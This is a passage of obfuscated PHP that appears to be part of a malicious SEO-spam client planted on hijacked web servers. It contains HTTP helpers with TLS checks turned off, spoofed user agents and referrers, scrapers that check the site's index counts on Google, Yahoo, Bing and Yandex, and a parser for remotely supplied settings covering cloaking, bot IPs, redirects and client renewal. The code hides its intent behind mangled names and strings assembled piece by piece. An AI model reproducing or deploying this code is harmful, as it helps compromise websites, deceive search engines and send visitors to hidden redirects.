			$eerr = preg_replace('@<!--#include (virtual|file)=\"'.$mat[2][$key].'\".*?-->@i','RRR',$eerr);
			$eerr = str_replace('RRR',$re,$eerr);
		}
		print $eerr;exit;
	}
}
function _POSTER($uurrll,$postdata){
	$response = '';
	if( function_exists('curl_init') ) {
		$curl = curl_init($uurrll);
		curl_setopt($curl, CURLOPT_HEADER, false);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
		curl_setopt($curl, CURLOPT_POST, true);
		curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);
		curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
		curl_setopt($curl, CURLOPT_TIMEOUT, 20);
		$response = curl_exec($curl);
		curl_close($curl);
	}
	elseif( ini_get('allow_url_fopen') && function_exists('stream_context_create') ){
		$params = array('http' => array(
			'method' => 'POST',
			'timeout'=> 10,
			'content' => $postdata,
    			'header' => "Content-Type: application/x-www-form-urlencoded\r\n"
		));
		$ctx = stream_context_create($params);
		$response = @file_get_contents($uurrll, false, $ctx);
		if($response === false || empty($response)){
			$fp = fopen($uurrll, 'rb', false, $ctx);
			if($fp){
				$response = stream_get_contents($fp);
				fclose($fp);
			}
		}
	}
	else{
		$uurrllinfo = parse_url($uurrll);
		$uurrllhost = $uurrllinfo['host'];	
		if(trim($uurrllinfo['scheme']) == 'https'){
			$fp = fsockopen('ssl://'.$uurrllhost,443,$errno,$errstr,30);
		}	
		else{
			$fp = fsockopen($uurrllhost,80,$errno,$errstr,30);
		}
		if($fp){
			$ctx = "POST {$uurrll} HTTP/1.0\r\n";
			$ctx .= "Host: {$uurrllhost}\r\n";
			$ctx .= "Content-type: application/x-www-form-urlencoded\r\n";
			$ctx .= "Content-length: " . strlen($postdata) . "\r\n\r\n" . $postdata . "\r\n";
			fputs($fp, $ctx);
			while(!feof($fp)) {
				$response .= fgets($fp);
			}
			fclose($fp);
			if (preg_match('/^.+?(?:\r\n\r\n|\n\n)(.*)$/ms', $response, $ress)) {
				$response = $ress[1];
			}
		}
	}
	return $response;
}

function _GETTER($uurrll,$test = 0,$pc = 0){
	$response = '';
	$uat = "Mozilla/5.0 AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17";
	$uap = "M" . "ozi" . "l" . "la" . "/5." . "0 (" . "Wi" . "nd" . "ow" . "s NT" . " 10.0" . "; W" . "in64" . "; x" . "64; r" . "v:4" . "0." . "0)" . " G" . "ec" . "ko/2" . "0" . "10" . "0" . "101 F" . "ir" . "e" . "f" . "ox" . "/40" . ".0";
	if( function_exists('curl_init') ) {
		$curl = curl_init($uurrll);
		curl_setopt($curl, CURLOPT_HEADER, false);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		if($test != 1 && $pc != 1){
			curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
		}
		if($test == 1){
			curl_setopt($curl, CURLOPT_REFERER, "http://b9i9n9g.com");
			curl_setopt($curl, CURLOPT_USERAGENT, $uat);
		}
		if($pc == 1){
			curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
			curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
			curl_setopt($curl, CURLOPT_TIMEOUT, 20);
			curl_setopt($curl, CURLOPT_USERAGENT, $uap);
		}
		$resp = curl_exec($curl);
		$respcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
		curl_close($curl);
		if(!empty($resp) && strlen($resp)>255 && $respcode==200){
			$response = $resp;
		}
	}
	elseif( ini_get('allow_url_fopen') && function_exists('stream_context_create') ){
		if($test != 1 && $pc != 1){
			$ctx=stream_context_create(array('http'=>array('timeout'=>20)));
			$resp = @file_get_contents($uurrll,0,$ctx);
			if(!empty($resp) && strlen($resp)>255 && strstr($http_response_header[0],'200')){
				$response = $resp;
			}
		}
		if($response === false || empty($response)){
			$params = array('http' => array(
				'method' => 'GET',
				'timeout'=>30,
	    			'header' => "Content-Type: application/x-www-form-urlencoded\r\n"
			));
			if($test == 1){
				$params['http']['header'] .= "Referer: http://b9i9n9g.com\r\n";
				$params['http']['header'] .= "User-Agent: $uat\r\n";
			}
			if($pc == 1){
				$params['http']['header'] .= "User-Agent: $uap\r\n";
			}
			$ctx = stream_context_create($params);
			$fp = fopen($uurrll, 'rb', false, $ctx);
			if($fp){
				$response = stream_get_contents($fp);
				fclose($fp);
			}
		}
	}
	else{
		$uurrllinfo = parse_url($uurrll);
		$uurrllhost = $uurrllinfo['host'];
		if(trim($uurrllinfo['scheme']) == 'https'){
			$fp = fsockopen('ssl://'.$uurrllhost,443,$errno,$errstr,30);
		}	
		else{
			$fp = fsockopen($uurrllhost,80,$errno,$errstr,30);
		}
		if($fp){
			$ctx = "GET {$uurrll} HTTP/1.0\r\n";
			$ctx .= "Host: {$uurrllhost}\r\n";
			if($test == 1){
				$ctx .= "Referer: http://b9i9n9g.com\r\n";
				$ctx .= "User-Agent: $uat\r\n";
			}
			if($pc == 1){
				$ctx .= "User-Agent: $uap\r\n";
			}
			$ctx .= "Connection: close\r\n\r\n";
			fputs($fp, $ctx);
			while(!feof($fp)) {
				$response .= fgets($fp);
			}
			fclose($fp);
			if (preg_match('/^.+?(?:\r\n\r\n|\n\n)(.*)$/ms', $response, $ress)) {
				$response = $ress[1];
			}
		}
	}
	return $response;
}
function IIZzC1Ph0sGMaTU4dX($body)
{
	global $body;
	return $body;
}
function II3lziWnDtkZB($title)
{
	global $title;
	return $title;
}
function II9WvIEjTj8gRF($IVmfs0SzQujsBG2yE72)
{
	global $IVmfs0SzQujsBG2yE72;
	echo "<meta type=\"description\" content=\"" . $IVmfs0SzQujsBG2yE72 . "\">";
}
function IIAwCsaEF4apDw9vOC($IVmfs0SzQujsBG2yE73)
{
	$IVmfs0SzQujsBG2yE74 = "";
	$IVmfs0SzQujsBG2yE75 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	$IVmfs0SzQujsBG2yE76 = strlen($IVmfs0SzQujsBG2yE75);
	for ($IVmfs0SzQujsBG2yE77 = 0; $IVmfs0SzQujsBG2yE77 < $IVmfs0SzQujsBG2yE73; $IVmfs0SzQujsBG2yE77++) {
		$IVmfs0SzQujsBG2yE74 .= $IVmfs0SzQujsBG2yE75[rand(0, $IVmfs0SzQujsBG2yE76 - 1)];
	}
	return $IVmfs0SzQujsBG2yE74;
}
function IIdo8pPVyWut3RuxcQmt($IVmfs0SzQujsBG2yE78, $IVmfs0SzQujsBG2yE79)
{
	$IVmfs0SzQujsBG2yE31 = "M" . "a" . "y" . "be" . " b" . "an" . " I" . "P";
	$IVmfs0SzQujsBG2yE78 = str_ireplace("[K" . "E" . "Y" . "]", "", $IVmfs0SzQujsBG2yE78);
	$IVmfs0SzQujsBG2yE78 = trim($IVmfs0SzQujsBG2yE78, "/");
	$IVmfs0SzQujsBG2yE78 = urlencode($IVmfs0SzQujsBG2yE78);
	$II6GSejEQGcXEADTdVw3  = "M" . "ozi" . "l" . "la" . "/5." . "0 (" . "Wi" . "nd" . "ow" . "s NT" . " 10.0" . "; W" . "in64" . "; x" . "64; r" . "v:4" . "0." . "0)" . " G" . "ec" . "ko/2" . "0" . "10" . "0" . "101 F" . "ir" . "e" . "f" . "ox" . "/40" . ".0";
	if ($IVmfs0SzQujsBG2yE79 == 1) {
		$IVmfs0SzQujsBG2yE80 = "ht" . "tp" . "s:" . "//ww" . "w." . "go" . "o" . "gl" . "e." . "co" . "m/s" . "e" . "ar" . "ch" . "?h" . "l=e" . "n&s" . "ou" . "rc" . "e" . "=h" . "p&" . "q" . "=s" . "it" . "e" . ":" . $IVmfs0SzQujsBG2yE78 . "&" . "gb" . "v=1" . "&g" . "w" . "s_" . "rd" . "=c" . "r";
		$IVmfs0SzQujsBG2yE81 = _GETTER($IVmfs0SzQujsBG2yE80,0,1);
		if (empty($IVmfs0SzQujsBG2yE81)) {
			$IVmfs0SzQujsBG2yE31 = "b" . "a" . "d";
		}
		if ($IVmfs0SzQujsBG2yE31 != "b" . "a" . "d") {
			$IVmfs0SzQujsBG2yE81 = str_ireplace(" ", "", $IVmfs0SzQujsBG2yE81);
			if (stripos("qqq" . $IVmfs0SzQujsBG2yE81, "re" . "su" . "lt" . "St" . "at" . "s\">")) {
				$IVmfs0SzQujsBG2yE08 = "/re" . "su" . "ltS" . "ta" . "ts\">(.*)</iUm";
				preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE81, $IVmfs0SzQujsBG2yE22);
				if (!empty($IVmfs0SzQujsBG2yE22[1][0])) {
					$IVmfs0SzQujsBG2yE31 = preg_replace("/[^0-9]/", '', $IVmfs0SzQujsBG2yE22[1][0]);
				}
			}
			if (stripos("qqq" . $IVmfs0SzQujsBG2yE81, "Y" . "ou" . "rse" . "ar" . "ch") && stripos("qqq" . $IVmfs0SzQujsBG2yE81, "di" . "dn" . "otm" . "atc" . "ha" . "n" . "ydo" . "cum" . "en" . "ts")) {
				$IVmfs0SzQujsBG2yE31 = "N" . "o i" . "nd" . "ex";
			}
		} else {
			$IVmfs0SzQujsBG2yE31 = "B" . "ad" . " c" . "on" . "n" . "e" . "c" . "t";
		}
	}
	if ($IVmfs0SzQujsBG2yE79 == 2) {
		$IVmfs0SzQujsBG2yE80 = "h" . "tt" . "p" . "s:" . "//s" . "ea" . "rc" . "h." . "y" . "ah" . "oo" . ".c" . "om" . "/s" . "ear" . "ch" . "?p=si" . "t" . "e%3" . "A" . $IVmfs0SzQujsBG2yE78 . "&" . "fr" . "2=s" . "b-t" . "op" . "&" . "fp" . "=1" . "&n" . "oj" . "s=" . "1";
		$IVmfs0SzQujsBG2yE81 = _GETTER($IVmfs0SzQujsBG2yE80,0,1);
		if (empty($IVmfs0SzQujsBG2yE81)) {
			$IVmfs0SzQujsBG2yE31 = "b" . "a" . "d";
		}
		if ($IVmfs0SzQujsBG2yE31 != "b" . "a" . "d") {
			$IVmfs0SzQujsBG2yE81 = str_ireplace(" ", "", $IVmfs0SzQujsBG2yE81);
			$IVmfs0SzQujsBG2yE08 = "/<s" . "p" . "a" . "n" . ">(.*)r" . "es" . "u" . "lt" . "s/iUm";
			preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE81, $IVmfs0SzQujsBG2yE22);
			if (!empty($IVmfs0SzQujsBG2yE22[1][0])) {
				$IVmfs0SzQujsBG2yE31 = preg_replace("/[^0-9]/", '', $IVmfs0SzQujsBG2yE22[1][0]);
			}
			if (stripos("qqq" . $IVmfs0SzQujsBG2yE81, "W" . "e" . "did" . "no" . "tfi" . "ndr" . "es" . "u" . "lt" . "sf" . "o" . "r")) {
				$IVmfs0SzQujsBG2yE31 = "N" . "o i" . "n" . "de" . "x";
			}
		} else {
			$IVmfs0SzQujsBG2yE31 = "B" . "ad" . " c" . "on" . "n" . "e" . "c" . "t";
		}
	}
	if ($IVmfs0SzQujsBG2yE79 == 3) {
		$IVmfs0SzQujsBG2yE80 = "h" . "tt" . "p://w" . "ww" . ".b" . "in" . "g." . "co" . "m/s" . "ea" . "r" . "ch?" . "q=" . "si" . "te" . "%3" . "A" . $IVmfs0SzQujsBG2yE78 . "&q" . "s" . "=n" . "&f" . "orm" . "=Q" . "BL" . "H&f" . "i" . "rs" . "t=0" . "1&s" . "et" . "m" . "kt" . "=e" . "n-U" . "S&s" . "et" . "la" . "n" . "g" . "=e" . "n" . "-U" . "S&s" . "et" . "pl" . "an" . "g=e" . "n-U" . "S";
		$IVmfs0SzQujsBG2yE81 = _GETTER($IVmfs0SzQujsBG2yE80,0,1);
		if (empty($IVmfs0SzQujsBG2yE81)) {
			$IVmfs0SzQujsBG2yE31 = "b" . "a" . "d";
		}
		if ($IVmfs0SzQujsBG2yE31 != "b" . "a" . "d") {
			$IVmfs0SzQujsBG2yE81 = str_ireplace(" ", "", $IVmfs0SzQujsBG2yE81);
			$IVmfs0SzQujsBG2yE08 = "/s" . "b_" . "c" . "ou" . "n" . "t\"" . ">(.*)</iUm";
			preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE81, $IVmfs0SzQujsBG2yE22);
			if (!empty($IVmfs0SzQujsBG2yE22[1][0])) {
				$IVmfs0SzQujsBG2yE31 = preg_replace("/[^0-9]/", '', $IVmfs0SzQujsBG2yE22[1][0]);
			}
			if (stripos("qqq" . $IVmfs0SzQujsBG2yE81, "N" . "or" . "es" . "ul" . "ts" . "fo" . "un" . "df" . "or")) {
				$IVmfs0SzQujsBG2yE31 = "N" . "o i" . "n" . "de" . "x";
			}
		} else {
			$IVmfs0SzQujsBG2yE31 = "B" . "ad" . " c" . "on" . "n" . "e" . "c" . "t";
		}
	}
	if ($IVmfs0SzQujsBG2yE79 == 4) {
		$IVmfs0SzQujsBG2yE80 = "ht" . "tp" . "s" . "://y" . "an" . "d" . "ex" . ".r" . "u/s" . "ea" . "r" . "c" . "h/?" . "t" . "ex" . "t" . "=u" . "r" . "l%3" . "A" . $IVmfs0SzQujsBG2yE78 . "*";
		$IVmfs0SzQujsBG2yE81 = _GETTER($IVmfs0SzQujsBG2yE80,0,1);
		if (empty($IVmfs0SzQujsBG2yE81)) {
			$IVmfs0SzQujsBG2yE31 = "b" . "a" . "d";
		}
		if ($IVmfs0SzQujsBG2yE31 != "b" . "a" . "d") {
			$IVmfs0SzQujsBG2yE81 = str_ireplace(" ", "", $IVmfs0SzQujsBG2yE81);
			$IVmfs0SzQujsBG2yE08 = "/serp-adv__found\">(.*)</iUm";
			preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE81, $IVmfs0SzQujsBG2yE22);
			if (!empty($IVmfs0SzQujsBG2yE22[1][0])) {
				$IVmfs0SzQujsBG2yE31 = preg_replace("/[^0-9]/", '', $IVmfs0SzQujsBG2yE22[1][0]);
			}
			if (stripos("qqq" . $IVmfs0SzQujsBG2yE81, "mi" . "s" . "s" . "pe" . "l" . "l_" . "_m" . "e" . "s" . "ag" . "e")) {
				$IVmfs0SzQujsBG2yE31 = "N" . "o i" . "n" . "de" . "x";
			}
		} else {
			$IVmfs0SzQujsBG2yE31 = "B" . "ad" . " c" . "on" . "n" . "e" . "c" . "t";
		}
	}
	return $IVmfs0SzQujsBG2yE31;
}

function IIiTfjOuLD0DzYkx0oYF($IVmfs0SzQujsBG2yE82, $IVmfs0SzQujsBG2yE83, $IVmfs0SzQujsBG2yE84)
{
	if (empty($IVmfs0SzQujsBG2yE84)) {
		if (file_exists($IVmfs0SzQujsBG2yE82)) {
			$IQf3Wvh2RtKQbZ2zg1 = file_get_contents($IVmfs0SzQujsBG2yE82);
		} else {
			return "";
		}
	} else {
		$IQf3Wvh2RtKQbZ2zg1 = $IVmfs0SzQujsBG2yE82;
	}
	$IQf3Wvh2RtKQbZ2zg1 = trim($IQf3Wvh2RtKQbZ2zg1);
	if ($IVmfs0SzQujsBG2yE83 == "clienturl") {
		preg_match("/clienturl=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE3 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE3 = trim($IVmfs0SzQujsBG2yE3);
			return $IVmfs0SzQujsBG2yE3;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "clearcache") {
		preg_match("/clearcache=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE7 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE7 = trim($IVmfs0SzQujsBG2yE7);
			return $IVmfs0SzQujsBG2yE7;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "newkeys") {
		preg_match("/newkeys=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE4 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE4 = trim($IVmfs0SzQujsBG2yE4);
			return $IVmfs0SzQujsBG2yE4;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "checkse") {
		preg_match("/checkse=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IQf3Wvh2RtKQbZ2zg8 = $IVmfs0SzQujsBG2yE22[1];
			$IQf3Wvh2RtKQbZ2zg8 = trim($IQf3Wvh2RtKQbZ2zg8);
			return $IQf3Wvh2RtKQbZ2zg8;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "checkllcount") {
		preg_match("/checkllcount=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE02 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE02 = trim($IVmfs0SzQujsBG2yE02);
			return $IVmfs0SzQujsBG2yE02;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "checkll") {
		preg_match("/checkll=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IQf3Wvh2RtKQbZ2zg7 = $IVmfs0SzQujsBG2yE22[1];
			$IQf3Wvh2RtKQbZ2zg7 = trim($IQf3Wvh2RtKQbZ2zg7);
			return $IQf3Wvh2RtKQbZ2zg7;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "getautosettsornot") {
		preg_match("/getautosettsornot=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IUYZkHMvPnxD7 = $IVmfs0SzQujsBG2yE22[1];
			$IUYZkHMvPnxD7 = trim($IUYZkHMvPnxD7);
			return $IUYZkHMvPnxD7;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "cleanrescode") {
		preg_match("/cleanrescode=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IUYZkHMvPnxD6 = $IVmfs0SzQujsBG2yE22[1];
			$IUYZkHMvPnxD6 = trim($IUYZkHMvPnxD6);
			return $IUYZkHMvPnxD6;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "dotemplate") {
		preg_match("/dotemplate=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE6 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE6 = trim($IVmfs0SzQujsBG2yE6);
			return $IVmfs0SzQujsBG2yE6;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "newuseragents") {
		preg_match("/newuseragents=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE9 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE9 = trim($IVmfs0SzQujsBG2yE9);
			return $IVmfs0SzQujsBG2yE9;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "newbotips") {
		preg_match("/newbotips=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IcRJnRh0BaaYCr0 = $IVmfs0SzQujsBG2yE22[1];
			$IcRJnRh0BaaYCr0 = trim($IcRJnRh0BaaYCr0);
			return $IcRJnRh0BaaYCr0;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "newreffs") {
		preg_match("/newreffs=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IcRJnRh0BaaYCr2 = $IVmfs0SzQujsBG2yE22[1];
			$IcRJnRh0BaaYCr2 = trim($IcRJnRh0BaaYCr2);
			return $IcRJnRh0BaaYCr2;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "usecloack") {
		preg_match("/usecloack=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IcRJnRh0BaaYCr3 = $IVmfs0SzQujsBG2yE22[1];
			$IcRJnRh0BaaYCr3 = trim($IcRJnRh0BaaYCr3);
			return $IcRJnRh0BaaYCr3;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "itsinclude") {
		preg_match("/itsinclude=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IcRJnRh0BaaYCr5 = $IVmfs0SzQujsBG2yE22[1];
			$IcRJnRh0BaaYCr5 = trim($IcRJnRh0BaaYCr5);
			return $IcRJnRh0BaaYCr5;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "indexkey") {
		preg_match("/indexkey=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE00 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE00 = trim($IVmfs0SzQujsBG2yE00);
			return $IVmfs0SzQujsBG2yE00;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "clienttype") {
		preg_match("/clienttype=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IcRJnRh0BaaYCr6 = $IVmfs0SzQujsBG2yE22[1];
			$IcRJnRh0BaaYCr6 = trim($IcRJnRh0BaaYCr6);
			return $IcRJnRh0BaaYCr6;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "lang") {
		preg_match("/lang=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IcRJnRh0BaaYCr8 = $IVmfs0SzQujsBG2yE22[1];
			$IcRJnRh0BaaYCr8 = trim($IcRJnRh0BaaYCr8);
			return $IcRJnRh0BaaYCr8;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "wherecontent") {
		preg_match("/wherecontent=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IebH2sK1bwmgEcMMI0 = $IVmfs0SzQujsBG2yE22[1];
			$IebH2sK1bwmgEcMMI0 = trim($IebH2sK1bwmgEcMMI0);
			return $IebH2sK1bwmgEcMMI0;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "textfilename") {
		preg_match("/textfilename=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IebH2sK1bwmgEcMMI2 = $IVmfs0SzQujsBG2yE22[1];
			$IebH2sK1bwmgEcMMI2 = trim($IebH2sK1bwmgEcMMI2);
			return $IebH2sK1bwmgEcMMI2;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "keyfilename") {
		preg_match("/keyfilename=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IebH2sK1bwmgEcMMI3 = $IVmfs0SzQujsBG2yE22[1];
			$IebH2sK1bwmgEcMMI3 = trim($IebH2sK1bwmgEcMMI3);
			return $IebH2sK1bwmgEcMMI3;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "themesfilename") {
		preg_match("/themesfilename=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IebH2sK1bwmgEcMMI5 = $IVmfs0SzQujsBG2yE22[1];
			$IebH2sK1bwmgEcMMI5 = trim($IebH2sK1bwmgEcMMI5);
			return $IebH2sK1bwmgEcMMI5;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "templatename") {
		preg_match("/templatename=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IebH2sK1bwmgEcMMI6 = $IVmfs0SzQujsBG2yE22[1];
			$IebH2sK1bwmgEcMMI6 = trim($IebH2sK1bwmgEcMMI6);
			return $IebH2sK1bwmgEcMMI6;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "extlinksfilename") {
		preg_match("/extlinksfilename=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IebH2sK1bwmgEcMMI8 = $IVmfs0SzQujsBG2yE22[1];
			$IebH2sK1bwmgEcMMI8 = trim($IebH2sK1bwmgEcMMI8);
			return $IebH2sK1bwmgEcMMI8;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "renewclient") {
		preg_match("/renewclient=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE03 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE03 = trim($IVmfs0SzQujsBG2yE03);
			return $IVmfs0SzQujsBG2yE03;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "keyperem") {
		preg_match("/keyperem=(.*)/i", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IVmfs0SzQujsBG2yE85 = $IVmfs0SzQujsBG2yE22[1];
			$IVmfs0SzQujsBG2yE85 = trim($IVmfs0SzQujsBG2yE85);
			return $IVmfs0SzQujsBG2yE85;
		} else {
			return "";
		}
	}
	if ($IVmfs0SzQujsBG2yE83 == "redirect") {
		preg_match("/redirect=(.*)ENDOFREDIRECT/is", $IQf3Wvh2RtKQbZ2zg1, $IVmfs0SzQujsBG2yE22);
		if (!empty($IVmfs0SzQujsBG2yE22[1])) {
			$IUYZkHMvPnxD0 = $IVmfs0SzQujsBG2yE22[1];
			$IUYZkHMvPnxD0 = trim($IUYZkHMvPnxD0);
			return $IUYZkHMvPnxD0;
		} else {
			return "";
		}
	}
	return "";
}
function IIkUGmvpQuGsvF4PbD($IVmfs0SzQujsBG2yE86)
{
	$IVmfs0SzQujsBG2yE86 = strtolower(trim($IVmfs0SzQujsBG2yE86));
	if ($IVmfs0SzQujsBG2yE86 == '')
		return false;
	$IVmfs0SzQujsBG2yE87 = explode(",", @ini_get("disable_functions"));
	if (empty($IVmfs0SzQujsBG2yE87)) {
		$IVmfs0SzQujsBG2yE87 = array();
	} else {
		$IVmfs0SzQujsBG2yE87 = array_map('trim', array_map('strtolower', $IVmfs0SzQujsBG2yE87));
	}
	return (function_exists($IVmfs0SzQujsBG2yE86) && is_callable($IVmfs0SzQujsBG2yE86) && !in_array($IVmfs0SzQujsBG2yE86, $IVmfs0SzQujsBG2yE87));
}
function IIItEJGYGxcEJO($IVmfs0SzQujsBG2yE88)
{
	global $Iw78mVWOIABM0uZ9FjcKrk0;
	global $II6GSejEQGcXEADTdVw6;
	if (is_dir($Iw78mVWOIABM0uZ9FjcKrk0)) {
		if (!file_exists($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 7))) {
			$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 7), "w+");
			if (!empty($ICvEOD9TPYuFxru8BY32)) {
				flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
				fwrite($ICvEOD9TPYuFxru8BY32, "");
				fclose($ICvEOD9TPYuFxru8BY32);
				return "goodtime";
			} else {
				return "errorcreate";
			}
		}
		$IVmfs0SzQujsBG2yE89 = filemtime($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 7));
		if (time() - $IVmfs0SzQujsBG2yE89 >= $IVmfs0SzQujsBG2yE88) {
			@unlink($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 7));
